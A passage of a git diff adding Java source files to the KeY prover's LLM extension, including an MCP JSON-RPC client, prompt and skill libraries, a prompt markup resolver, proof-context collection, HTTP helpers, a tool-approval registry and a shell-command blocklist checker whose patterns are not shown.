+            for (Object item : list) {
+                builder.addRequired(String.valueOf(item));
+            }
+        }
+        Object description = map.get("description");
+        if (description != null) {
+            builder.withDescription(String.valueOf(description));
+        }
+        return builder.build();
+    }
+
+    @Override
+    public Object callTool(String toolName, String argumentsJson) throws Exception {
+        if (!initialized) {
+            throw new IllegalStateException("MCP client not initialized");
+        }
+
+        logger.debug("Calling tool '{}' with args: {}", toolName, argumentsJson);
+
+        Map<String, Object> args;
+        try {
+            args = GSON.fromJson(argumentsJson, Map.class);
+        } catch (Exception e) {
+            args = new HashMap<>();
+        }
+
+        JsonObject callRequest = createJsonRpcRequest("tools/call", Map.of(
+            "name", toolName,
+            "arguments", args));
+
+        sendRequest(callRequest);
+        JsonObject response = readResponse();
+
+        if (response == null) {
+            throw new IOException("No response from MCP server");
+        }
+
+        if (response.has("error")) {
+            JsonObject error = response.getAsJsonObject("error");
+            String errorMessage =
+                error.has("message") ? error.get("message").getAsString() : "Unknown error";
+            throw new RuntimeException("MCP tool call failed: " + errorMessage);
+        }
+
+        if (response.has("result")) {
+            return parseToolResult(response.getAsJsonObject("result"));
+        }
+
+        return null;
+    }
+
+    /**
+     * Parses the tool result from MCP format to a human-readable string.
+     *
+     * @param result The result object from the MCP server
+     * @return A string representation of the result
+     */
+    @SuppressWarnings("unchecked")
+    private String parseToolResult(JsonObject result) {
+        if (result.has("content")) {
+            List<?> contentList = GSON.fromJson(result.get("content"), List.class);
+            StringBuilder sb = new StringBuilder();
+            for (Object item : contentList) {
+                Map<String, Object> contentItem = (Map<String, Object>) item;
+                String type = (String) contentItem.get("type");
+                if ("text".equals(type)) {
+                    sb.append(contentItem.get("text"));
+                } else if ("image".equals(type)) {
+                    sb.append("[Image data]");
+                } else if ("resource".equals(type)) {
+                    sb.append("[Resource data]");
+                }
+                sb.append("\n");
+            }
+            return sb.toString().trim();
+        }
+        return result.toString();
+    }
+
+    @Override
+    public boolean isClosed() {
+        return closed || !process.isAlive();
+    }
+
+    @Override
+    public void close() {
+        if (closed) {
+            return;
+        }
+        closed = true;
+
+        try {
+            // Try to send a graceful shutdown notification
+            try {
+                JsonObject shutdownNotification =
+                    createJsonRpcNotification("notifications/cancelled");
+                sendRequest(shutdownNotification);
+            } catch (Exception e) {
+                // Ignore errors during shutdown
+            }
+
+            outputStream.close();
+            inputReader.close();
+            process.destroy();
+
+            // Wait briefly for clean termination
+            try {
+                if (!process.waitFor(2, java.util.concurrent.TimeUnit.SECONDS)) {
+                    process.destroyForcibly();
+                }
+            } catch (InterruptedException e) {
+                Thread.currentThread().interrupt();
+                process.destroyForcibly();
+            }
+
+            logger.info("MCP client closed");
+        } catch (IOException e) {
+            logger.error("Error closing MCP client: {}", e.getMessage());
+        }
+    }
+
+    /**
+     * Sends a JSON-RPC request to the MCP server.
+     *
+     * @param request The JSON-RPC request object
+     * @throws IOException If writing to the process fails
+     */
+    private void sendRequest(JsonObject request) throws IOException {
+        String json = GSON.toJson(request);
+        String message = json + "\n";
+        outputStream.write(message.getBytes(java.nio.charset.StandardCharsets.UTF_8));
+        outputStream.flush();
+        logger.trace("Sent: {}", json);
+    }
+
+    /**
+     * Reads a JSON-RPC response from the MCP server.
+     *
+     * @return The parsed JSON response, or null if no response
+     * @throws IOException If reading fails
+     * @throws InterruptedException If interrupted
+     */
+    private JsonObject readResponse() throws IOException, InterruptedException {
+        // Read with timeout
+        long startTime = System.currentTimeMillis();
+        long timeout = 30000; // 30 seconds
+
+        while (System.currentTimeMillis() - startTime < timeout) {
+            if (inputReader.ready()) {
+                String line = inputReader.readLine();
+                if (line != null && !line.isEmpty()) {
+                    logger.trace("Received: {}", line);
+                    try {
+                        return JsonParser.parseString(line).getAsJsonObject();
+                    } catch (Exception e) {
+                        logger.warn("Failed to parse JSON response: {}", line);
+                    }
+                }
+            }
+
+            if (!process.isAlive()) {
+                throw new IOException("MCP server process terminated unexpectedly");
+            }
+
+            Thread.sleep(100);
+        }
+
+        throw new IOException("Timeout waiting for MCP server response");
+    }
+
+    /**
+     * Creates a JSON-RPC 2.0 request object.
+     *
+     * @param method The method name
+     * @param params The method parameters (may be null)
+     * @return A JSON-RPC request object
+     */
+    private JsonObject createJsonRpcRequest(String method, Map<String, Object> params) {
+        JsonObject request = new JsonObject();
+        request.addProperty("jsonrpc", "2.0");
+        request.addProperty("id", requestIdGenerator.incrementAndGet());
+        request.addProperty("method", method);
+
+        if (params != null) {
+            request.add("params", GSON.toJsonTree(params));
+        }
+
+        return request;
+    }
+
+    /**
+     * Creates a JSON-RPC 2.0 notification object (no ID, no response expected).
+     *
+     * @param method The method name
+     * @return A JSON-RPC notification object
+     */
+    private JsonObject createJsonRpcNotification(String method) {
+        JsonObject notification = new JsonObject();
+        notification.addProperty("jsonrpc", "2.0");
+        notification.addProperty("method", method);
+        return notification;
+    }
+
+    /**
+     * Returns the server capabilities received during initialization.
+     *
+     * @return A map of capability names to their values
+     */
+    public Map<String, Object> getServerCapabilities() {
+        return new HashMap<>(serverCapabilities);
+    }
+
+    /**
+     * Checks if the client has been successfully initialized.
+     *
+     * @return true if initialized, false otherwise
+     */
+    public boolean isInitialized() {
+        return initialized;
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/Prompt.java b/keyext.llm/src/main/java/org/key_project/key/llm/Prompt.java
new file mode 100644
index 00000000000..4196f15a49c
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/Prompt.java
@@ -0,0 +1,21 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+/**
+ * A user-defined reusable prompt: a message template with a name and a description. The template
+ * may use the same markup as the input box ({@code $tokens}, {@code @files}, {@code /directives}).
+ *
+ * @param name unique id (also the file name)
+ * @param description shown in menus/autocompletion
+ * @param template the message template
+ */
+public record Prompt(String name, String description, String template) {
+
+    public Prompt {
+        name = name == null ? "" : name;
+        description = description == null ? "" : description;
+        template = template == null ? "" : template;
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/PromptLibrary.java b/keyext.llm/src/main/java/org/key_project/key/llm/PromptLibrary.java
new file mode 100644
index 00000000000..d98db31e4c6
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/PromptLibrary.java
@@ -0,0 +1,63 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import com.google.gson.GsonBuilder;
+
+import org.jspecify.annotations.Nullable;
+
+/**
+ * The file-backed library of user-defined prompts (JSON files in the KeY config directory).
+ * <p>
+ * {@code @file:} references and {@code $tokens} inside templates are resolved at insertion time;
+ * see {@link PromptResolver}.
+ *
+ * @author Alexander Weigl
+ */
+public final class PromptLibrary extends FileBackedLibrary<Prompt> {
+    public static final PromptLibrary INSTANCE = new PromptLibrary();
+
+    private PromptLibrary() {
+    }
+
+    @Override
+    protected String subDirectory() {
+        return "prompts";
+    }
+
+    @Override
+    protected Prompt fromJson(String json) {
+        try {
+            return new GsonBuilder().create().fromJson(json, Prompt.class);
+        } catch (Exception e) {
+            return null;
+        }
+    }
+
+    @Override
+    protected String toJson(Prompt element) {
+        return new GsonBuilder().setPrettyPrinting().create().toJson(element);
+    }
+
+    @Override
+    protected String nameOf(Prompt element) {
+        return element.name();
+    }
+
+    @Override
+    protected String validate(Prompt element) {
+        if (!validName(element.name())) {
+            return "Name may only contain letters, digits, '_' and '-'.";
+        }
+        return null;
+    }
+
+    /**
+     * Renders a prompt template: resolves markup and returns the text to be inserted into the input
+     * box (kept editable), together with a resolved copy for direct messages.
+     */
+    public static @Nullable Prompt find(String name) {
+        return INSTANCE.get(name);
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/PromptResolver.java b/keyext.llm/src/main/java/org/key_project/key/llm/PromptResolver.java
new file mode 100644
index 00000000000..08bd7cd824c
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/PromptResolver.java
@@ -0,0 +1,231 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.io.IOException;
+import java.nio.file.Path;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.function.Function;
+import java.util.regex.Pattern;
+
+import de.uka.ilkd.key.proof.Node;
+import de.uka.ilkd.key.proof.Proof;
+
+import org.jspecify.annotations.Nullable;
+
+/**
+ * Resolves the light-weight markup used in the input box:
+ * <ul>
+ * <li>{@code $name} - context tokens ({@code $seq}, {@code $goals}, {@code $proof},
+ * {@code $proofName}, {@code $computePath}, {@code $model}, {@code $classpath},
+ * {@code $bootClasspath}, {@code $selectedFiles})</li>
+ * <li>{@code @path/to/file.java} - reference to a file inside the model directory</li>
+ * <li>{@code /skill:name} - activate a skill for this turn (directive is stripped)</li>
+ * <li>{@code /skills}, {@code /prompts} - inline listings</li>
+ * </ul>
+ *
+ * @author Alexander Weigl
+ */
+public final class PromptResolver {
+    private static final Pattern TOKEN =
+        Pattern.compile("\\$([a-zA-Z][a-zA-Z0-9]*)");
+    private static final Pattern FILE_REF = Pattern.compile("@([\\w.\\-/\\\\]+\\.[a-zA-Z0-9]+)");
+    private static final Pattern SKILL_DIRECTIVE = Pattern.compile("/skill:([a-zA-Z0-9_-]+)");
+    private static final Pattern PROMPT_DIRECTIVE = Pattern.compile("/prompt:([a-zA-Z0-9_-]+)");
+
+    private PromptResolver() {
+    }
+
+    /** The outcome of resolving one user message. */
+    public record Result(String text, @Nullable String skillName, List<String> warnings) {
+    }
+
+    /** Read-only access to the pieces needed for resolving (testable without a UI). */
+    public interface Context {
+        @Nullable
+        Proof proof();
+
+        @Nullable
+        Node node();
+    }
+
+    /**
+     * Resolves the markup in {@code raw} using the given session (for files/selectedFiles) and
+     * current proof state.
+     */
+    public static Result resolve(String raw, LlmSession session, Context ctx) {
+        var warnings = new ArrayList<String>();
+        String text = raw;
+
+        // /skills and /prompts listings
+        if (text.contains("/skills")) {
+            text = text.replace("/skills", listOf(SkillLibrary.INSTANCE.all(), Skill::name,
+                Skill::description));
+        }
+        if (text.contains("/prompts")) {
+            text = text.replace("/prompts",
+                listOf(PromptLibrary.INSTANCE.all(), Prompt::name, Prompt::description));
+        }
+
+        // /skill:name directive
+        String skillName = null;
+        var m = SKILL_DIRECTIVE.matcher(text);
+        if (m.find()) {
+            var name = m.group(1);
+            var skill = SkillLibrary.INSTANCE.get(name);
+            if (skill != null && skill.enabled()) {
+                skillName = name;
+                text = text.replace(m.group(), "");
+            } else {
+                warnings.add("Unknown or disabled skill: " + name);
+            }
+        }
+
+        // /prompt:name directives "extend the prompt": the rendered template replaces the directive
+        // and is resolved together with the remaining $tokens/@files references.
+        var promptMatcher = PROMPT_DIRECTIVE.matcher(text);
+        var promptResolved = new StringBuilder();
+        int promptLast = 0;
+        while (promptMatcher.find()) {
+            var name = promptMatcher.group(1);
+            var prompt = PromptLibrary.INSTANCE.get(name);
+            if (prompt != null) {
+                promptResolved.append(text, promptLast, promptMatcher.start())
+                        .append(prompt.template());
+            } else {
+                warnings.add("Unknown prompt: " + name);
+                promptResolved.append(text, promptLast, promptMatcher.end())
+                        .append("[unknown prompt: ").append(name).append("]");
+            }
+            promptLast = promptMatcher.end();
+        }
+        promptResolved.append(text.substring(promptLast));
+        text = promptResolved.toString();
+
+        // $tokens
+        var tokenMatcher = TOKEN.matcher(text);
+        var resolved = new StringBuilder();
+        int last = 0;
+        while (tokenMatcher.find()) {
+            var repl = token(tokenMatcher.group(1), session, ctx);
+            if (repl == null) {
+                repl = "[unknown token $" + tokenMatcher.group(1) + "]";
+            }
+            resolved.append(text, last, tokenMatcher.start()).append(repl);
+            last = tokenMatcher.end();
+        }
+        resolved.append(text.substring(last));
+        text = resolved.toString();
+
+        // @file references
+        var fileMatcher = FILE_REF.matcher(text);
+        var fileResolved = new StringBuilder();
+        last = 0;
+        while (fileMatcher.find()) {
+            var pathName = fileMatcher.group(1);
+            var repl = fileContent(pathName, session, ctx, warnings);
+            fileResolved.append(text, last, fileMatcher.start()).append(repl);
+            last = fileMatcher.end();
+        }
+        fileResolved.append(text.substring(last));
+        text = fileResolved.toString();
+
+        return new Result(text.trim(), skillName, warnings);
+    }
+
+    private static <T> String listOf(List<T> items, Function<T, String> nameFn,
+            Function<T, String> descFn) {
+        var sb = new StringBuilder();
+        if (items.isEmpty()) {
+            return "(none defined)";
+        }
+        for (var item : items) {
+            sb.append("  - ").append(nameFn.apply(item)).append(": ").append(descFn.apply(item))
+                    .append('\n');
+        }
+        return sb.toString();
+    }
+
+    /** Resolves a single {@code $token}. */
+    public static @Nullable String token(String token, LlmSession session, Context ctx) {
+        var proof = ctx.proof();
+        var node = ctx.node();
+        return switch (token) {
+            case "seq" -> proof != null ? ProofContextCollector.sequentText(node, proof) : null;
+            case "goals" -> proof != null
+                    ? ProofContextCollector.openGoalsSummary(proof,
+                        LlmSettings.INSTANCE.getProofContextMaxSequents())
+                    : null;
+            case "proof" -> proof != null ? ProofContextCollector.proofStatus(proof) : null;
+            case "proofName" -> proof != null ? ProofContextCollector.proofName(proof) : null;
+            case "computePath" ->
+                ProofContextCollector.computePath(node,
+                    Math.max(1, LlmSettings.INSTANCE.getMaxToolRounds() * 12));
+            case "model" -> proof != null ? ProofContextCollector.modelInfo(proof) : null;
+            case "classpath" -> proof != null ? classPathOf(proof) : null;
+            case "bootClasspath" -> proof != null ? bootClassPathOf(proof) : null;
+            case "selectedFiles" -> selectedFilesOf(session);
+            default -> null;
+        };
+    }
+
+    private static @Nullable String classPathOf(Proof proof) {
+        var jm = proof.getEnv().getServicesForEnvironment().getJavaModel();
+        if (jm == null || jm.getClassPath() == null) {
+            return "(none)";
+        }
+        return String.valueOf(jm.getClassPath());
+    }
+
+    private static @Nullable String bootClassPathOf(Proof proof) {
+        var jm = proof.getEnv().getServicesForEnvironment().getJavaModel();
+        if (jm == null) {
+            return "(none)";
+        }
+        return jm.getBootClassPath() == null ? "(none)" : jm.getBootClassPath().toString();
+    }
+
+    private static String selectedFilesOf(LlmSession session) {
+        if (session.getSelectedFiles().isEmpty()) {
+            return "(no files selected)";
+        }
+        var sb = new StringBuilder();
+        for (var uri : session.getSelectedFiles()) {
+            sb.append("  - ").append(uri).append('\n');
+        }
+        return sb.toString().strip();
+    }
+
+    /** Reads an {@code @file} reference (relative to the model dir) into a code block. */
+    private static String fileContent(String pathName, LlmSession session, Context ctx,
+            List<String> warnings) {
+        var proof = ctx.proof();
+        if (proof == null) {
+            return "[file: " + pathName + " (no proof loaded)]";
+        }
+        Path resolved = FileAccess.resolveInModel(proof, pathName);
+        if (resolved == null) {
+            // maybe the reference is an absolute file URI?
+            try {
+                resolved = Path.of(pathName);
+            } catch (IllegalArgumentException e) {
+                resolved = null;
+            }
+            if (resolved == null) {
+                return "[file not found: " + pathName + "]";
+            }
+        }
+        if (FileAccess.isBinary(pathName)) {
+            return "[binary file, not embedded: " + pathName + "]";
+        }
+        try {
+            var content = FileAccess.readText(resolved);
+            return "```\n" + pathName + "\n" + content + "\n```";
+        } catch (IOException e) {
+            warnings.add("could not read file " + pathName + ": " + e.getMessage());
+            return "[file not found: " + pathName + "]";
+        }
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/ProofContextCollector.java b/keyext.llm/src/main/java/org/key_project/key/llm/ProofContextCollector.java
new file mode 100644
index 00000000000..39b291494e2
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/ProofContextCollector.java
@@ -0,0 +1,170 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.util.ArrayList;
+
+import de.uka.ilkd.key.proof.Goal;
+import de.uka.ilkd.key.proof.Node;
+import de.uka.ilkd.key.proof.Proof;
+
+import org.key_project.prover.sequent.Sequent;
+
+import org.jspecify.annotations.Nullable;
+
+/**
+ * Collects the current proof state as compact text blocks that can be attached to a prompt or
+ * returned by the {@code get_proof_context} tool.
+ * <p>
+ * All outputs are capped by the context-budget settings in {@link LlmSettings}.
+ *
+ * @author Alexander Weigl
+ */
+public final class ProofContextCollector {
+    private ProofContextCollector() {
+    }
+
+    public static String proofName(Proof proof) {
+        return proof.name() != null ? proof.name().toString() : "<unnamed proof>";
+    }
+
+    /**
+     * Short status line: number of open/closed goals and proof steps.
+     */
+    public static String proofStatus(Proof proof) {
+        int open = proof.openGoals().size();
+        int closed = proof.closedGoals().size();
+        int steps = proof.countNodes();
+        return "Proof \"" + proofName(proof) + "\": " + open + " open goal(s), " + closed
+            + " closed, " + steps + " nodes.";
+    }
+
+    /** The sequent of a node or of the first open goal, formatted, capped in length. */
+    public static String sequentText(@Nullable Node node, @Nullable Proof proof) {
+        var seq = node != null && node.sequent() != null ? node.sequent()
+                : firstOpenGoalSequent(proof);
+        if (seq == null) {
+            return "(no sequent available)";
+        }
+        return cap(seq.toString());
+    }
+
+    private static @Nullable Sequent firstOpenGoalSequent(@Nullable Proof proof) {
+        if (proof == null) {
+            return null;
+        }
+        for (Goal g : proof.openGoals()) {
+            return g.node().sequent();
+        }
+        return null;
+    }
+
+    /** Up to {@code max} open-goal sequents, each capped. */
+    public static String openGoalsSummary(Proof proof, int max) {
+        var sb = new StringBuilder();
+        int i = 0;
+        for (Goal g : proof.openGoals()) {
+            if (sb.length() > 0) {
+                sb.append('\n');
+            }
+            sb.append("Goal ").append(++i).append(":\n").append(cap(g.node().sequent().toString()));
+            if (i >= max) {
+                sb.append("\n... more open goals omitted");
+                break;
+            }
+        }
+        if (sb.length() == 0) {
+            sb.append("(no open goals)");
+        }
+        return sb.toString();
+    }
+
+    /**
+     * The computation path (after Harel): the sequence of applied rules on the path from the proof
+     * root down to the selected node. Bounded to {@code maxSteps} entries.
+     */
+    public static String computePath(@Nullable Node node, int maxSteps) {
+        if (node == null) {
+            return "(no selected node)";
+        }
+        var names = new ArrayList<String>();
+        Node current = node;
+        int hops = 0;
+        while (current != null && current.parent() != null && hops < maxSteps) {
+            var ruleApp = current.getAppliedRuleApp();
+            if (ruleApp != null && ruleApp.rule() != null) {
+                names.add(ruleApp.rule().name().toString());
+            }
+            current = current.parent();
+            hops++;
+        }
+        if (names.isEmpty()) {
+            return "(computation path not available for this node)";
+        }
+        var sb = new StringBuilder("Computation path (root to selected node):\n");
+        for (int idx = names.size() - 1; idx >= 0; idx--) {
+            sb.append("  ").append(names.get(idx)).append('\n');
+        }
+        if (hops >= maxSteps) {
+            sb.append("  ... truncated");
+        }
+        return sb.toString();
+    }
+
+    /** Model directories and class paths, if available. */
+    public static String modelInfo(Proof proof) {
+        var javaModel = proof.getEnv().getServicesForEnvironment().getJavaModel();
+        if (javaModel == null) {
+            return "(no Java model)";
+        }
+        var sb = new StringBuilder("Java model:");
+        var dir = javaModel.getModelDir();
+        sb.append("\n  model dir: ").append(dir == null ? "(none)" : dir);
+        var classPath = javaModel.getClassPath();
+        if (classPath != null && !classPath.isEmpty()) {
+            sb.append("\n  classpath: ").append(cap(classPath.toString(), 2000));
+        }
+        var boot = javaModel.getBootClassPath();
+        if (boot != null) {
+            sb.append("\n  boot classpath: ").append(boot);
+        }
+        return sb.toString();
+    }
+
+    /**
+     * One consolidated context block used when "attach proof context" is enabled or requested by
+     * the {@code get_proof_context} tool.
+     */
+    public static String contextBlock(@Nullable Proof proof, @Nullable Node selectedNode) {
+        var settings = LlmSettings.INSTANCE;
+        var sb = new StringBuilder();
+        sb.append("Current proof state:\n");
+        if (proof == null) {
+            sb.append("(no proof loaded)");
+            return sb.toString();
+        }
+        sb.append(proofStatus(proof)).append('\n');
+        sb.append("Current sequent:\n").append(sequentText(selectedNode, proof)).append('\n');
+        sb.append("Open goals:\n")
+                .append(openGoalsSummary(proof, settings.getProofContextMaxSequents()))
+                .append('\n');
+        sb.append(modelInfo(proof)).append('\n');
+        sb.append(computePath(selectedNode, 100)).append('\n');
+        return cap(sb.toString(), settings.getProofContextMaxChars());
+    }
+
+    private static String cap(String s) {
+        return cap(s, LlmSettings.INSTANCE.getProofContextMaxChars());
+    }
+
+    private static String cap(String s, int max) {
+        if (s == null) {
+            return "";
+        }
+        if (s.length() > max) {
+            return s.substring(0, max) + "\n... [truncated]";
+        }
+        return s;
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/ShellSafetyPolicy.java b/keyext.llm/src/main/java/org/key_project/key/llm/ShellSafetyPolicy.java
new file mode 100644
index 00000000000..bfb19f7f4c3
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/ShellSafetyPolicy.java
@@ -0,0 +1,72 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.regex.Pattern;
+
+/**
+ * Blocks dangerous shell commands before they reach the OS. The policy is defense-in-depth:
+ * approval of the {@code run_command} tool asks the user for consent, but a command matching one
+ * of the blocklist patterns is refused regardless of approval.
+ * <p>
+ * The built-in patterns cover destructive/privilege-escalating commands; users can extend the list
+ * through {@code LlmSettings.shellBlockedPatterns}.
+ *
+ * @author Alexander Weigl
+ */
+public final class ShellSafetyPolicy {
+
+    /** The outcome of checking a command. */
+    public record Verdict(boolean allowed, String reason) {
+
+        public static Verdict ok() {
+            return new Verdict(true, "");
+        }
+
+        public static Verdict blocked(String reason) {
+            return new Verdict(false, reason);
+        }
+    }
+
+    private final List<Pattern> blockedPatterns;
+
+    public ShellSafetyPolicy(List<String> patterns) {
+        var compiled = new ArrayList<Pattern>(patterns.size());
+        for (String p : patterns) {
+            if (p == null || p.isBlank()) {
+                continue;
+            }
+            try {
+                compiled.add(Pattern.compile(p));
+            } catch (Exception e) {
+                // ignore invalid user-defined patterns
+            }
+        }
+        this.blockedPatterns = List.copyOf(compiled);
+    }
+
+    public ShellSafetyPolicy() {
+        this(LlmSettings.INSTANCE.getEffectiveShellBlockedPatterns());
+    }
+
+    /**
+     * Evaluates the command against the blocklist (case-insensitive).
+     *
+     * @param command the raw command line
+     * @return {@link Verdict#allowed() allowed} or a blocked verdict with the matching pattern
+     */
+    public Verdict evaluate(String command) {
+        if (command == null || command.isBlank()) {
+            return Verdict.blocked("empty command");
+        }
+        for (Pattern pattern : blockedPatterns) {
+            if (pattern.matcher(command).find()) {
+                return Verdict.blocked("command matches blocked pattern: " + pattern.pattern());
+            }
+        }
+        return Verdict.ok();
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/Skill.java b/keyext.llm/src/main/java/org/key_project/key/llm/Skill.java
new file mode 100644
index 00000000000..940b608b1fd
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/Skill.java
@@ -0,0 +1,27 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.util.List;
+
+/**
+ * A user-defined skill: named instructions that are appended to the system prompt while the skill
+ * is active, plus an optional restriction of the tool set.
+ *
+ * @param name unique id (also the file name)
+ * @param description shown in menus/autocompletion and to the agent
+ * @param instructions extra system-level context appended while the skill is active
+ * @param allowedTools optional whitelist of tool names (empty = no restriction)
+ * @param enabled whether the skill can be selected/used
+ */
+public record Skill(String name, String description, String instructions,
+        List<String> allowedTools, boolean enabled) {
+
+    public Skill {
+        name = name == null ? "" : name;
+        description = description == null ? "" : description;
+        instructions = instructions == null ? "" : instructions;
+        allowedTools = allowedTools == null ? List.of() : List.copyOf(allowedTools);
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/SkillLibrary.java b/keyext.llm/src/main/java/org/key_project/key/llm/SkillLibrary.java
new file mode 100644
index 00000000000..117e90af70d
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/SkillLibrary.java
@@ -0,0 +1,52 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import com.google.gson.GsonBuilder;
+
+/**
+ * The file-backed library of user-defined skills. An active skill is selected on the
+ * {@link LlmSession}; its instructions are appended to the system prompt and its
+ * {@code allowedTools} whitelist narrows the advertised tool set.
+ *
+ * @author Alexander Weigl
+ */
+public final class SkillLibrary extends FileBackedLibrary<Skill> {
+    public static final SkillLibrary INSTANCE = new SkillLibrary();
+
+    private SkillLibrary() {
+    }
+
+    @Override
+    protected String subDirectory() {
+        return "skills";
+    }
+
+    @Override
+    protected Skill fromJson(String json) {
+        try {
+            return new GsonBuilder().create().fromJson(json, Skill.class);
+        } catch (Exception e) {
+            return null;
+        }
+    }
+
+    @Override
+    protected String toJson(Skill element) {
+        return new GsonBuilder().setPrettyPrinting().create().toJson(element);
+    }
+
+    @Override
+    protected String nameOf(Skill element) {
+        return element.name();
+    }
+
+    @Override
+    protected String validate(Skill element) {
+        if (!validName(element.name())) {
+            return "Name may only contain letters, digits, '_' and '-'.";
+        }
+        return null;
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/Util.java b/keyext.llm/src/main/java/org/key_project/key/llm/Util.java
new file mode 100644
index 00000000000..a840657aeb7
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/Util.java
@@ -0,0 +1,53 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.io.IOException;
+import java.util.Map;
+
+import com.google.gson.GsonBuilder;
+import com.google.gson.JsonObject;
+import org.apache.hc.client5.http.classic.methods.HttpGet;
+import org.apache.hc.client5.http.classic.methods.HttpPost;
+import org.apache.hc.client5.http.impl.classic.HttpClients;
+import org.apache.hc.core5.http.io.entity.StringEntity;
+
+/**
+ * Small HTTP helpers used by the settings UI (e.g. fetching the available models).
+ *
+ * @author Alexander Weigl
+ */
+public final class Util {
+    private Util() {
+    }
+
+    public static Object post(String url, String authToken, Map<String, Object> data) {
+        var request = new HttpPost(url);
+        request.addHeader("Authorization", "Bearer " + authToken);
+        request.addHeader("Content-Type", "application/json");
+        request.addHeader("Accept", "application/json");
+        var gson = new GsonBuilder().create();
+        var stringBody = gson.toJson(data);
+        request.setEntity(new StringEntity(stringBody));
+
+        try (var client = HttpClients.createDefault()) {
+            return client.execute(request, new DefaultChatCompletionsClient.ResponseHandler());
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    public static JsonObject httpGet(String url, String authToken) {
+        var request = new HttpGet(url);
+        request.addHeader("Authorization", "Bearer " + authToken);
+        request.addHeader("Content-Type", "application/json");
+        request.addHeader("Accept", "application/json");
+        try (var client = HttpClients.createDefault()) {
+            return client.execute(request,
+                new DefaultChatCompletionsClient.ResponseHandlerObj());
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/mcp/BuiltInMCPClient.java b/keyext.llm/src/main/java/org/key_project/key/llm/mcp/BuiltInMCPClient.java
new file mode 100644
index 00000000000..db40392d69a
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/mcp/BuiltInMCPClient.java
@@ -0,0 +1,148 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm.mcp;
+
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.ServiceLoader;
+import java.util.Set;
+import java.util.TreeSet;
+
+import org.key_project.key.llm.LlmSettings;
+
+import org.jspecify.annotations.Nullable;
+
+/**
+ * Registry facade over all registered {@link McpClient} instances.
+ * <p>
+ * <b>Approval model:</b> approved tools are advertised; whether an invocation requires user
+ * approval is decided dynamically by {@link #requiresApproval(String)}:
+ * <ol>
+ * <li>tools in {@code allowedToolsWithoutApproval} never prompt (read-only defaults),</li>
+ * <li>tools in {@code allowedToolsWithApproval} always prompt,</li>
+ * <li>otherwise the tool's own default applies ({@link Tool.ApprovalRequirement}).</li>
+ * </ol>
+ * The sets are read live from {@link LlmSettings} so that session-scoped clients always see the
+ * current configuration. Disabled tools are not advertised and cannot be invoked.
+ *
+ * @author Alexander Weigl
+ */
+public class BuiltInMCPClient implements McpClient {
+    private final Map<String, McpClient> toolOwners = new HashMap<>();
+    private boolean isClosed = false;
+
+    public BuiltInMCPClient() {
+        var loader = ServiceLoader.load(McpToolProvider.class);
+        for (var provider : loader.stream().map(it -> it.get()).toList()) {
+            for (var client : provider.get()) {
+                register(client);
+            }
+        }
+    }
+
+    private void register(McpClient client) {
+        for (Tool tool : client.getTools()) {
+            toolOwners.putIfAbsent(tool.function().name(), client);
+        }
+    }
+
+    /** Names of all known tools (including disabled ones; used by the settings UI). */
+    public Set<String> getAllToolNames() {
+        return new TreeSet<>(toolOwners.keySet());
+    }
+
+    /**
+     * Returns the enabled tool definitions in OpenAI format, i.e. all registered tools except those
+     * listed in {@code toolsDisabled}. Never mutates the approval sets.
+     */
+    @Override
+    public synchronized List<Tool> getTools() {
+        var disabled = LlmSettings.INSTANCE.getToolsDisabled();
+        return toolOwners.keySet().stream().sorted()
+                .filter(name -> !disabled.contains(name))
+                .map(toolOwners::get).distinct()
+                .flatMap(client -> client.getTools().stream())
+                .filter(tool -> !disabled.contains(tool.function().name()))
+                .toList();
